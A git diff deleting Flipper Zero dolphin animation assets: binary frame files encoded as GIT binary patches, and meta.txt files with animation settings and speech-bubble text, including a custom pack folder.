zM*$fJoE#o-5Bz=;62L-1CBO%$0AE9ZM2HxF0P#wQ0YT@0|AWR2{{S*%lS2hoj0ir! z^SnVBqYsdHJb3(nA3muy@WwC^AOFYi-|zeP>XSc=AAzorT(14T#k+QCPox7us?|)U o-JZp>WdL8C5m-9yP$qK1KLENcmyCGcn=DFz&rO3ng9R* diff --git a/assets/resources/dolphin/L1_Recording_128x51/frame_4.bm b/assets/resources/dolphin/L1_Recording_128x51/frame_4.bm deleted file mode 100644 index e0db66ffe303381a4cee87351807509ea9dfe0b2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 662 zcmV;H0%`pL0FnZLU_apf@PFW7LAU`#0MHM{0uB!zWPn=m3FHDD0I*P`Fc0upzYy?v z!@tn@2Lgj3z(8Su@q8k$iMl zV0ptV8ZV>|{0|s(<3*N$d<-LPi0M9%8{j-({|yK{VUS>Wj|b^-f&<5o5zqs~08e2D zjYJ+)aCql|=l&1Qd>(Kp0RA)Zf5QYp;$IjMe4$10j7R^Fcn8V@p|U{_iwf&=_tj1%Dx2aUo72%JD0CH`-WBhdrI!<+{Ie2feJ z{}@CQ0f>VG&jAmU!9TGW3_=M&!g0I}(STeALkNK5AQA{9!v!YsgUTHUkVHS!I0Xao z55UE|kO&EULE~V6Oa{UU90Ysu0E15;0PzKmGygw>OfU!WfGi3LAZd;~9wPAvjlrOR z@ql8#_wmq!#B3k}fP>2j^b$aW#vl$Z0jNNO=nsto1%QnLNVGsw*ayc=3<>G{5-|XW!aN>4em{?&RG4sJ*a(mRnmLGlK12bKciBJ}_K0P+4{@?i5q4L?QbgUn$vDD@Lb zb_bj?!J_;???CZ~N;H{fDcfQ?PlN{f3E@HR0QUdy;1>{hz_^zXc?w1V_7Hf~LFGgT zj(P#)bPxDHIrs<3-Y_Tt{xk4?kUY!r7>|d`oO7;G?R0K??;PvjN@5CD!7jo^VnAQuQk;}HSEKqL@o zh6+vNUz9o#Ac%jca0& z5C|lJra16;i^Lu`0LZuo1P>SnEB}9hKtbX*AMh+-Ao9XJ1yCUIh!@L%Y7ij$1LHt} zU?V`1Ef5s80rAsA0qYD0pMah*n2rK64>Ev(PyZi;#IO*MNpJz`02na5Q6dHxuz-Xf zilPUW0n{Op|9}}XNCASR#snW=dEOw55r@b;9z1?OkDpYU_+uCdkN@NM@Av)t^+}(` z55U(*E?0ivV%@tmr_uqS)oP|wZqH)bvVbqn2&^4;s6N2;ln>k<(nxWAf$btsyaEsp IJO_n7;4e4@;Q#;t diff --git a/assets/resources/dolphin/L1_Recording_128x51/frame_6.bm b/assets/resources/dolphin/L1_Recording_128x51/frame_6.bm deleted file mode 100644 index b2676b7ce2fc232e1fcfb5069feb32a5271de2bd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 664 zcmV;J0%!dJ0F(lNU_apf@PFW7LAU`#0MHM{0uB!zWPn=m3FHDD0I*P`Fc0upzYy?v z!@tn@2Lgj3z(8Su@q8k$iMl zV0ptV8ZV>|{0|s(<3*N$d;$Y)i0M9%8{j-({|yK{U^Qt zJZd2Fql3phHb^1-q9^f; zPruN(1Um&FocQ4dLVe1cY+wP zC&<9R@9~5|Fc^q8fVeCHhsofd*o+1t1fXF!-T?7@Arpv12N?j6K_(a}H;f)r_(Xys z{-MAqABcViE#%-p2tp4V1Oi|-7!Lyh9{g}1amW}vL1T>n&*0Mx0sMF$&Kv?6AZd;~ z9wPAvjlmisk%1$^CSV+fPOF#cm;xmA%K5?!V4I9JZF#y zWCMXgkl-L7VSquV0P%-^qvBDa$ZQY^fEZvr0C@4>HvmA(q%jZm4go+Hjt2oV3l;)- zA;ds%kO>4DA%eg|M#VskNNAtPECwI}947(<4;V!PAt8}};P5O&0wIXtKtbaWphF~i zBrw3K9td6|z=SCU0|z4H|KKo5C*lu~Gl&3a7z>1p)Bo@T$N7WFgVF&{(Rv{B7)**i zMABK7hYYZ2zYsgnJYmv}CD^Q?d4LEWVfN3x1_uC9i2ecN?1F>HzZr->`VtQ<3H{>{@OgZ&G6eg^C*SB^ z0v|$2HjY!(p0BoPnw4emdPeg-Y%z$eCh4;usmU?vz30|6HFa3Q`3I6OgPjQ`Kz z(+mWA@xb_J;4sMq1O1N&h`ewH@!&uOV-g390~PjzAq@Vps@BB;erm01K!= z>A=I_0qV&l$bkp&4-w#i8VC;@2mX#9ka-*iiVqlcgTdp+_2g)d$!fqxc7`fWH9u MKfD4E4>*E;0O;od%>V!Z diff --git a/assets/resources/dolphin/L1_Recording_128x51/frame_8.bm b/assets/resources/dolphin/L1_Recording_128x51/frame_8.bm deleted file mode 100644 index 05f98d639bbddc8653ccabef2808aeb876a4b0c3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 663 zcmV;I0%-jK0FwfMU_apf@PFW7LAU`#0MHM{0uB!zWPn=m3FHDD0I*P`Fc0vUzYy?v z!@tn@2Lgj3z(8Su@q!62UqK0wYO^1xgqQlG|x3FPo#@?i5q4L?O>f=ppCD2)?I zb_bj?!J_&=uR!sIN;H{h2f!dU*p8Fw0lovq4{!&R0RlGP{{QK52bUh=4>%+N>>%-| zgUXH%9P^N2F0l{JegW(kj0ylhjQk({1qYFQV0Ykn!>1ZZ#DDxRACw0}%81a6E1o2n6B*NRVW)^!N}IU|5)U zf*7$ZM1n<+lY`O?;4TXQVe)z=G9v-VNO)LIH-J1}2t?x%2gkr91@Xa2ykPR5!Xyz0 z1poq23=CVzz<>~h9ySOBz-%xc1_C|!;6US$FnEH;8ULTbrWgbG@IRb51TsL=9C$o` z5b${15uzy=kUU@*ul@c30SAbPU}zDLgUbl95YU6fus`S@03LpT_|PC&2+$;pLqP(T zz&<)?U_D`g^Y9bKGZDZ>LFWg+flvP*gv78AkV$X>>Hrte;1MDQAI2X54_3(o%K`rf zi10uS1Pqt@iXV`9-Y9_ahe$jgJbpiqpMeHWNDml~|Ks=X_x=0$2t4AL4Ft9+V9Rt5q_ac6%1hlmUJq0fGa^U8)bTJxA~lSpj|l?tgd$ARci9`~W@N5<~z1 diff --git a/assets/resources/dolphin/L1_Recording_128x51/frame_9.bm b/assets/resources/dolphin/L1_Recording_128x51/frame_9.bm deleted file mode 100644 index 65b723203c3cba419975bb816eceab751c8021f4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 661 zcmV;G0&4vM0FeR!d;1$^CSV+fPOF#cm;xmA%K5?!V4I9JZF#y zWCMXgkl-L7VSquV0P%-^qvBDa$ZQY^fEZvr0C@4>HvmA(q%jBu00K}94gzKtECljH zh=b$c5(xD31%QT)ih&rA(J_%23_?Rf!f+r!@q|zTBO=Gi;8=+U3lYG8gT^61hDh>Q z`g{tJAc10h2ttrhFmf(VKR*PLP9fPNIDiI$fVfD#KmGVTf06Kdz$yAKBp-hWi5JI3 zW?CFF!J_&=|G@EwPBd3wdD|j7PoxI;4;VkgLzaMi3?pqG57OfV2ag^jpa+aH4FG!x zJZd2Fql3%d7R?fd}vp5#WFt z2oD?w{*E7zc^n3c4;XZV!Q;o{`1$w{Jg*W!c*KAIAHRRU@87^hCltVFHPQ=}-?!Me vZr}&>plCH(sg&EZ*tTq-5de8X0pqUK2iP8?_y??jzX10?yaEspID&ovpRo_7 diff --git a/assets/resources/dolphin/L1_Recording_128x51/meta.txt b/assets/resources/dolphin/L1_Recording_128x51/meta.txt deleted file mode 100644 index dc79b1645..000000000 --- a/assets/resources/dolphin/L1_Recording_128x51/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 51 -Passive frames: 6 -Active frames: 6 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 -Active cycles: 1 -Frame rate: 2 -Duration: 360 -Active cooldown: 5 - -Bubble slots: 0 diff --git a/assets/resources/dolphin/L1_Sleep_128x64/frame_0.bm b/assets/resources/dolphin/L1_Sleep_128x64/frame_0.bm deleted file mode 100644 index 9560e1f41551cbb914ece9b331178782165c8e38..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 580 zcmV-K0=xYI06+r&fII=<4*+-rz#ahb2Y@^Q;12+J1Hcat2lW5^46XPGZ~wslgXVt# z6&OALfBrxJ@(+LLMDH*UIX%JY4uEG3?SJ?I4hI0Z5}ZDJ_zVMpTX1>z;1CP}P(TxJ z2aE&k52?63xq$kMgUWEUU;)O#<=~D$3PT?UtTY~24p^N(^}X!1MtZ;9#?Gc=!Q>KmiVO=5A1U+yR3i0S%9w4@g)%OM?KI z9ESlpKPWt7!10I-OUyt>Fg!p77#NmdfRG@1LIflJ|MSzw0|f{Gp^y%Q2Z20K90VSM zL7Wsv!ayzfsDK2-5(vOB-?ecTh_+BD1@MSoV0hQhq971>z~C4_5X?J^;($nClnVp_ zoG?O=&?W%!m*6N6Dg=W74;T`NyeBaSjsgZ3902fOTnq>Q2mNmdC}1)Oz&!95@|c(g zE)EzBVmSUJaGb|6_Xm~)_%P@3KuqNz_dkXKf+h?cz%UOC1fVny!}wqnD*;4XgMf}9 zO98Nd3<8N5@DxN8DB(I4hyMi!j1u6P5Miwgh5nAfF%U`f45$UsdKMG=H-Ka?aQ5L) z8{`!m$L)SH5Af($WMU<-<^JyRpm+fz4g!e)s2Ax6+kXMTOhMu?69|w8;Q^p~FYs_- zZ~%f25&*-)VvrF~!h-@2I|t#WT@U>30X=|!!Qz1tAweJ;AOF4q>i?KX)-&P&v_{4M S-@)pYUZ^~NANU9~LW4vded_Z7 diff --git a/assets/resources/dolphin/L1_Sleep_128x64/frame_1.bm b/assets/resources/dolphin/L1_Sleep_128x64/frame_1.bm deleted file mode 100644 index 238b50a2e7b89ec4d08249e43b1fc9ed16fff178..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 589 zcmV-T0fII=<4*+-rz#ahb2Y@^Q;12+J1Hcat244IGGym{Dqu?RG{{#9D zf7qm80;31N$N$Iw{z3E~8_WaF2O@fZLMIM@XAST86dVo#a4Wcc_wX180M~u^1Oos> z5Cq%7;{f{u>TVA%U_PSY@|*+eHV-cZasW~lp#TmV4=e|d|HB5a-v0&%lmdJK6Ps_~ z;PZ|^`~o3AED;dI3AF& zc$WqNFgXqaa(+;F$ARMz7?+rUkYIR#3NSG&!2uvZ^n?gR)I9KUU*KS&02DF-(17qK ziQ|BS&`2|ai1IQh5E5L4gOIfNm`@=zr&M3G4&@4-^QA3JCz%|NZa}SO5HB b6IjoP0?`{6|9=OnReGTD_TVA% zU_PSY@|-Og0CBhk`T^jMKng=22A|*m4S-Ne1LObj!|UU}!LS$sfQW{Cb6>vx4?ut* zMmYoU2!sGjLGQsR5x{u-07D*XExaC_0g(O%1|J!?JqBXbADOv9;y)<>JZya6dP3lZ z^Ozim0XYYxHVA(x1VCb5V~Rn6;(QncU}9N<0ziS{04P9&OGD2%oD38o0){|35FP~a zsBjQ^2?lUc9|-`r;-UZ)7=lm?H|!og^3fK`1pvMg3(OB1`E*1A4;UN+2m%?0a2_`J z1cY`r1qne4LqM1V#$SM-3dTWz2aE|sUK5yu#{mP7Oco^q;9x)aKkIlwLjjCN0q20f zl*GU>aB#q2k;m~PgyuPqxIC~W!G}MJ0%s`)x%@B;5U^n80f2a5B>|vzAHx8lSPCRt z7~&ML8wc>fD3K2Y1RhA?Iu(ci1qX~G;F%C%tqX={O$ogfPcZ_fe|4=AR8b5z5(k0m`K($;sCTp U#sA;I>XlxoJboYe2sA>2M3T4c#sB~S diff --git a/assets/resources/dolphin/L1_Sleep_128x64/frame_3.bm b/assets/resources/dolphin/L1_Sleep_128x64/frame_3.bm deleted file mode 100644 index 72fedc5e13cf89e0b10e68e27ddbb31f86f17de5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 597 zcmV-b0;>H108s+}fII=<4*+-rz#ahb2Y@^Q;12+J1Hcat244IGGym{Dqu?RG{{#9D zf7qm80;31N$N$Iw{z32k51r-#=LHcx0ptJ}bOShVYyZFqa5x3PuHp0Fz+fB$TZ7NP z0Dxc!f&iO%JYXMSeNDmT%m>t59#e%Q01h_*pFlhj$N@-Lga9~f0)kKA)Ee;9#?GdJM&=KQnTJ z#C}o$c-Z;C^o79-=P)@A0&;#>A^e~b0f~8t2?hs=@L&;viDn210tbiyp#l*#4?G-K z_!uZa1q^_6AUp};c;F!P5)9y?J`w?M#Y6xoF$AC(Z`!zvL|Z5n0{BEPFg$DJ(GUnc zU~mi|2xc9?c-!C-5!l!iB?KuA0$>jregc3i83q6zFeMRqPGS!n1P(zkSdFa>1~C{1o&x?;69C1*!vTgzAHtXS|eir@8I=HuT&mC5BvlgAwi-5Z;a;$ diff --git a/assets/resources/dolphin/L1_Sleep_128x64/meta.txt b/assets/resources/dolphin/L1_Sleep_128x64/meta.txt deleted file mode 100644 index 589f46294..000000000 --- a/assets/resources/dolphin/L1_Sleep_128x64/meta.txt +++ /dev/null @@ -1,41 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 2 -Active frames: 4 -Frames order: 0 1 2 3 2 3 -Active cycles: 2 -Frame rate: 2 -Duration: 360 -Active cooldown: 5 - -Bubble slots: 2 - -Slot: 0 -X: 53 -Y: 20 -Text: In a lucid dream,\nI could walk... -AlignH: Left -AlignV: Bottom -StartFrame: 3 -EndFrame: 9 - -Slot: 1 -X: 53 -Y: 20 -Text: OH MY GOD! -AlignH: Left -AlignV: Bottom -StartFrame: 3 -EndFrame: 5 - -Slot: 1 -X: 53 -Y: 31 -Text: Just a dream... -AlignH: Left -AlignV: Bottom -StartFrame: 6 -EndFrame: 9 diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_0.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_0.bm deleted file mode 100644 index 3b57cf9ef6486b76a2550dce25e33cb5a2b2126a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 727 zcmV;|0x10f0Mi2a|G*o-0;c>Q98m6G|L_1Qd%`sp1V4NXun*ut$ZJ*p|3z{40hA-a zPq5hadjJ2(Api;Z|H!bH@eKurD_Fnr1~(Y|N7PDxcqGH354fBQfrCd^{%rx6a~F^R zF2n{IkQY~e!2y9^=iv&#KzuX^claML3=Bj4MQM#3B=8CsBR>IC3=9N5@|pw3$b%oR z{v+`*v;s-;zrcI|VPY^KWgo14UyEO&F&cgkAKi`-fXBcv0QcB@qcsSvRx1$)tlj~j z@}fee9F>a|KOQ~FLwuLA+{;Orm)@<0dxwehG14Zt;ur~qmxF#r`- z8w378VfyV9ssuL>ac}idsAv8IfUk$h03qWKjKli_@ND&1s8RrZ0pis`pdTh^@WbiV z|Cz?C1%Po2Lj={0#z7#Ff5XG7BaRRrJc0s%4g&z91IA(C43+~?xB`?$91kXVhSKUo zC`3ky5P%g2T`HAoHC&=F+Nl8Xj6ep1To5Prt2NU|q?3#W0)OZnh{foQM_brbP1keG+e!V~FgrBDox z6AurN!XOxh*#HVE4-iZ1HiZk(+>c#1IzOONsk0RlsJS! zBo7)40?hz{5Dw~D8wJ1~G9Cs8{{bK#`Y|ZLc}Ii6pMb^yKrXEhEhvC#pzQI$1B9X> z;?-j0kP5_L8X)t4RsOIz1wM%Yuvh`3KnI`mejyq?2sStx90GU`GQo5(cn~1Lr~e6@ z5FS_!UaNHifDFbl-RJNMVgMzm*9_wvm{=@O3>ZB(8m(9mY#agr$bEuQ01{|wqjA7M zU~p;o!5%~c-O8jxQietg$N(y|Rw5u6#lpcK4xo&89H@ZcQNw|UhfusW3GN{tAcFuT JU_>x_MF>PQC-MLQ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_1.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_1.bm deleted file mode 100644 index f199ae6b5442066adb85716a33f3aaf724029beb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 835 zcmV-J1HAkJ06zox|G*1>{{h#41x@%qIHCN%|KI>p_khZO{0pp9KGXi-9bf@=4~Yyw z2i5=oK*IjKG5~YTMuF>AfWVgtl#wq8E^r?RD|P zPpkzGk)MaU$^(FBwFzJ}R+#bN0QZu7ukaNx(BKdcc<@2zDE(vN|6lyX9wfpClm=1z zvBEqT_<%e}f)6-0!{r&Macl6(3=keT^SMSe9!Ml(0gu8^AO%4Omi__2hCr(ETCI;k z1P7&D&Oa^>;vcH7=%9u{gM-Ib4;KK!E*D9LO9}7?mHw*$_&{Ot>;yVd5yt#~@IUsy zRCX0e&EOC?q$exl2bEMlKiD6F)-)Jg8ztrpj`LI>ACk0t@Ee3S0iZvO0h< zP2>2O$Y2mjH6kGymB2V#tyBjIhlhj8F))x!Vxh63)nSlCc+WxOU=5GLH6g|i#wZUd zFZu_7fxxU7*n~?9Rg446^8uK^1mmFdL?jyhRss?a7z_i00GLH67uZ(=2UW0Lf#(5% z@F5IAf?z#*sDf}o=L~>A@e^1E0)QVM1Q;4P0dSB95gHVZtbRHe$TUDA(;0+98V?$h zjC9suXwU&7Ko|ua4kz(|Rx=bh1n?dt0+9*EsKYA+|KS4%h(w}Dq11=R0fFQH;qVB+ zJZ=l3t%t?|27=5c3-SyNCIt}J2gEcn-Uk8?fI*A{EdhvCgXLhcKrnD|D259G5Y`9C zfHEIpKu82L8jWB+L7|^~1)@MW4l7_EAkd$P7(s%9R72$qut(3vKsW}-K2r<<_&^FX N8sL1F0swKCkHoy}U#0*6 diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_10.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_10.bm deleted file mode 100644 index 26e7927e1d94c7a7d3116bff27dc13b8b57889f0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 684 zcmV;d0#p3~0H^}^|G*o-0;c>Q98m6G|L_1Qd%`sp1V4NXun*ut$ZJ*p|3z{40hA-a zPq5h4dcXh3Api;Z|G=;p{|CT7bzA)qWpIc@a)1x8_{3^41)_iwMqvWda0pqaLa-j4$0sue-uhl>x za1H|icoqte)E;QDfx`p?>x0iD0Z}fVt5pn`1IPIXfLDVe9!jjjfDa#}KLHO@kDxqb z@cOP08nv9A`lYj;4nIkzK|$(LW1NN2BTHV)rZ#+5U{`?kP3iof1&k=WPC6P7yCdPA5nyXjUHKFQfygpBN8f16W{<06usK z4q^d>fNTHS{Z{$@uxtQ)fA>M?^szM%+!LGrKy S2mmwU83KepV1q&^h)d-2z#O#z diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_11.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_11.bm deleted file mode 100644 index b695c4b6d0d116ec8f9c358efb44707b9ed67599..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 725 zcmV;`0xJCh0MP>Y|G*o-0;c>Q98m6G|L_1Qd%`sp1V4NXun*ut$ZJ*p|3z{40hA-a z10R4!17lU{|L-9p5;x=j0>EGF0P+vbR{unZB@_UVh(vOM2tpVEgX0nC!8ipOk;tGJ z2t2@GDCYmwsFaY*|Ks*EinZhfP5PHqQ;{cK9IZ%Hb{NS;$c~=wzz>si1yb^K6LFKUY zLFbi-1n9zg_|QCqLkEC&pb*c1Je5KZCSC7f&(Fn1IGak zV+a7jBft%gQieqs9tTml50pf_SPG?@0UUq^#_9qdtRNm*4#$!K1N>|CT&-TJ)kp`G zLm}CK_#pLw=>KZ7T`)Lo5e)=d1s-CE@O@wS)|4JO2@Y}*1hR=lx>er%P#!S~6idU$ z!UxAhAT7~6tQbg)dVCKM`PFEo;>kQ+Vyb^2&ZI;q!{4jsg!aBp+BG zIBZ=(`{f#I9u0)Skb zr9;aD(=nQWgU5m%Emkf_4?6{h9Rc`2D*sp<0-r<&nE-#h2z&$izYvWcgn&pid;dRx zTma+H!QesZ7>aN>F$@N;Rk|Yx0W23t1P(qW7zJ@KAOyf-U@*w^197U=gOq?+ZGk{+ z7YeFaKnocBa28{L-O8ju_OKs>099zLL_ko&0pCIAxaC9=Ljafpj(jCa?jasr0;7pW H4@jW^NW3no diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_12.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_12.bm deleted file mode 100644 index 345e700aaa99be2916a9f9feef881536de722cdf..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 775 zcmV+i1Ni&_00RT~|G*FL0;d29oA7*bL-F?kmH+<$48T0V0~HTHd>*h5;6e6aRI2}f zp!WHUQW4+}xI91t8yc@y|M>(b|H1|@$NmL?zlc~KVe+cq_<;Ezlp;7J6-@`mBZUXt zjzs{0Ba;7s2c=r8MF*$;e*j(x0J9i~1_}ZG2cVfO1OcJI3MU_cg-`#0fyktg3@{*} z@RmwI2m?L928NIR zC$s>7P>;>diNuG%3Fa6Q0MaoZ&G?vL;PeCtqXPjgiQHxXctF2rz75+`pmpsRPafaH2psKB6#(%B8r3K$@dKp+GQITJ3y3SuG?Y z2OuJiiV=p@dbdIHk!2u|c!$CdQG`PWqeTyti;;wfAO=55ibW6WMBqUK!vKfVB$7&{ zR|+30CXNXpltAFu3Kb(+s@Dh05KkHWnh0VX7b3A$!H3HssQ7#&Fh~jraXOt>tUgi= zi-@@3F^gfU_gVmas2U)7NdRKi9bWjpcn&CxqwoZobzpS|`S6EhAcSxsi!l!q{P~FC zkU=LO3;Y5F0IP@3VLS(q;!gmEP!Hp)51#|*4;TbO0dSx}IuG*z3@!!@5D4HfI)?D- zpkVTbLjj`*0}L7wTn~(LUyW#b?T Fe1MDNKs5jW diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_13.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_13.bm deleted file mode 100644 index 40b52b3a5cc9af9cbef6be5c9009d1c2d1675a8f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 693 zcmV;m0!sY>0I>q{;$mJ8_yW5Wh?fWoJMesQXp>Gbc5nas1d^$W_lxRl7^G%_3Eu~- zf&qa20#t^vQxN<`Z}$O|ARa#f?EioCPT#D6Vu@HLI!Q+I0d>~SwFq{`w2pU8J8CR-NYM;^aRYBu$fI#4Z z@<0dxwfdky&@dbd{Z^|{L5Ki=;twhW<6$a+KsW`{)d$W&gc}F|gUBB&1ViQL#X^9? z=noitf#dlPr&RbM^nhZ2o&8iQK_HQT!^9sb1}pvJ510W#<;wp?0|kK8ZUgPCzCo&i zqq>LMQ8|F?rBba%tCgz{tiuPuu8!0CA6*6VVgA+ngN5oakUXpo0fAQ|q$94f1Rht; z1`Z3Lf#|eC0^JA8fq#H_Ash$+1t_ia|Gvf`5*$(V*XewKe~3d|52hBY4){Q3Au+(< zb>Y<4YN9a+6oeiyDiy#!m^!S6K?I0{#t9+d2h-Q8iBJLO$dEuEhjpM;VVDR+MhO6) z7zbD$E%AKeF&H-j0uK@abzpS^`9z^G>4pI&Bmxf*e1YQ~fM2ixajX4cWI}*JqmY>g zf&%~mkMn*V7a+hRBmtmQAi(mt2#28mBxuBM)W|?QumQnu2z+EvFAs)>4>8EG4gn;B zf`)+)fI-3IxE~OFV-T=;Vt?^~c-RQ98m6G|L_1Qd%`sp1V4NXun*ut$ZJ*p|3z{40hA-a zPq5h4dcXh3Api;Z|G=;p@eK#ctAFAQZV?EMD3k!f@rd+6_al)&FbL}Z)vB~n`>zB5 zS&Tq^Rs+r536ECnQ&a0Kz~%5CHig1OQt2)B*=cfI}+gA*i6l099CQ4jFI>4w6*@fN%lD zztuvalL`g{fnRbJR6Jqv2M7RX8w^w_06u{6YM{h{phz&6@cH$BL>^eL_l!1|QW-)4<;wp?HPWe8qgBe) z>aA3a0K|2d$TI{$2mPwebkqWf$|o=%Fyuqys`Y>4T3iGY0WiVvFs0S5_u`AefM_q1 z2qwE#qR|KobWb}2fM8XD0?|Rm0KRZAa32P%6n!mJs2p4i`~$$G71;m^Di10L{sH&` zj<7s>sBmClI1A(h{0|#|eK6tCKa9j0DM8=|(uWW~l!P8XC_DgwcUcTT{!KE5MhFSM zj7kaw4=550NCnlQ<$>ieh`|bkKt1-W7bN&c`4Jd30HSq&sOV|*NQZ(E3x`NN5c4qq zH{uba(1!yvg-1{WKQj%$NIeW52LT772Z{q8Fb)G(s@(}j2N=XdC>01aFitQCGy=Fq z80CXu6u(m;1|ooNHCnUjZKxif4Gs_}5D3^1LPZ=01_KCU4m>(Az)Ls1osg_4ir!XFpGzR{(&exB82`| B9i{*P diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_15.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_15.bm deleted file mode 100644 index 2d75157c5aa73ed2dbd48356dd3409bb63a642b9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 819 zcmV-31I+vZ051dh|G*1>{{h#41x@%qIHCN%|KI>p_khZO{0pp9KGXi-9bf@=4~Yyw z2UY(6Km!jsFaUGRMuF>As?kU1f67Rggcm$OeJ}Mf`uFSv0jkf*^?-rM zq!8y>KuD<1A^?y@raW@0gUT_8Ac~l1a0myycp&qzeQL2^ul`~W5@7?#ZZMe)1HpfY z1H_0R^MgPj#1Z1x;glF4JaOl8j6eYc1HfbOln4P(LFK;_j1mJ}iq&j-2p~Nw;PJvh zJ`gEYXGH`u3>+Rhuz1oS5X!w$Pm;oX0p)+HgT~K>BjO(Ti0Q5kS~} zA|>>IYcG&#r4AXvs9j(s^c)Q41MZMQusR-80KSk3h7W-qkYaFDF025)x(npP{gd=z z@Rp}Qhtj~{7!`6k48(@Uz{n7JUpN>zEP@9TjLP5~Ezo?p7x)K)5x{^*W-(b65{ln8 zIQ}95A>n)@QXF9XVbIJa@&W!K3~~iv#>666TC7GT8kmU31A&LZG#+S#gI}tU%Op|| zc)+Mr2&Dr13M>s)B@m%D$_XLh6o%CVzFJke5n>#Bm#V3 z7-k|g3msYfu~gVM0s;>ighCn%8jyUTxtM&z0FxAm(a}P`C^QDu9e`i30daxIhvQTa zjAw<3ka!?400_e(L~+!I#zQ28&?*pMd0ZiY@vVo(jTngEsgQtqU@0&thPzdO%)mT8 z8W=p_8Dl8bgX7>R30z_D2sk`r7zl>2{z0OkVt?^~IJpL+SU-?F@6-TbkOl*a*aynN x0tbi$L4pYwG!mj8EW$WJ+jDvET=-{r}@Z;v5=` zNDv?dLya1V0O0@YvJm`8=uiw7{~li;14e96j4`}P>Hs)BMiC4*r~zO!n50wv2QP{_ zzxZk-l1co5o6&e60?bgTRDgKE1<&8GP;gv{#0DY$2tES?0mR~B5)gbqAkhpr9uZ-p z1Renxh(IVfOoSm)KJa?jBoGO%9swEnhu;CAfN-i~QCPcpe$WcEjsZmC1D5^|7)1sN z0f0dgC;%P!JYbYApb%pb5PH?Y<^HvS1jr`^)q~0dJb^$eRZr;oD!d2=5&`fZjFJF= z5CLoTPzW6&0SqsVBBS*OomQ&@hFk(d9U8;~fL%RSsu?h#U^o%{1;8>PFe1YTnztk{+q5vQ~U>Kj} zenE)UU^N?n`oJ+??;Hmp8Y`%MxnJnS8o?^mYPnjl`s*){XyyPmf6)5MComf}15_U! zSE#~3@|a-w7+48$E4A?X=r5B9BpX$t(FhB49~p!Kz~C4ZVyqxaD12SReBfZT8$he1Ly|qi_$V48C&^5Wrv@0Q!2*=OF

$53V#B1JycU^Pj0m!7Je5ih zGJ0LX{EZv{h{5K*F?ir04B`jOe*q7f7u7zY!GX_#_XFTTZ-6}j0xvtj zJ}?k+dEWu^1P_=z{0jpIj4*z8;C#X20Q?9HbRU)s1XLfM3_L_1uy*;2>HuHRc*Lv$ z5jWHj8a@aD+|TacCeXKP`9wd8o)9&~jP>&+rdOd95J;_zsvoe}ME3m_A|d z69>2W9*c(fV< tJxBt9ID$R^1O7OmJ%oklhlA99oB$yMmH-Mf;DhG?3L;pEOd!LupMY8c%9sEE diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_19.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_19.bm deleted file mode 100644 index 01492a1b431b3b9bb6440a2149d3d44373449a88..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 444 zcmV;t0Ym-)0Js4F9AhzW1hw=01wVxz{tjFP|NaI~=smt0@OZ)i<@|$#*ZtoQpTqwT z7dQMKpYR~a0qNlX`^N+Y5oqurAoKnPL>^zr_@sg84iI?YAb;>#ln;OpKZlNfmT|y? z&*E!f0R92xKmQAm7AMmOnMA+^cq$0^!Q~zYth^rA_%J;#3DXCh{ss?8fIZQK4`gwJ z#?B9t`XfgGkT84;$YfyiXAnGL_y|16ACL$f_#Vpifbbykzqr=D#pF=pgL!2hludK=MhLJiz7;C;&cF z;s7z31JWOV;6dTw_WT3S|KP*IL1dF4ds=V+{eza$7!QHygU%2SpaFx=_zy(MgV+2I zMhS!R0uO%>JzeJji~!5V4^r`;&jIlVt^6K;z$k;F<2Y`Q283W9UG!M`{h6flh m5)gq6fYH43Hps8B|y)^9S60o}%&xs9cBa4@h`8*+vym zdoG9`!{k*MKNCa`Y4|^Y=Kzn3PF Dk9w{C diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_20.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_20.bm deleted file mode 100644 index fadf12f2758a1a1dee3c312f7d6a02121cb09094..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 463 zcmV;=0Wkgn0LuXY9CPIl1h<3!1v>}wJ`ZX5Jvblmdwe_K^Zb9{V)p-Y@8Chef9LQC zz&QaU?+2H|{|A6v1*;g9JZkG 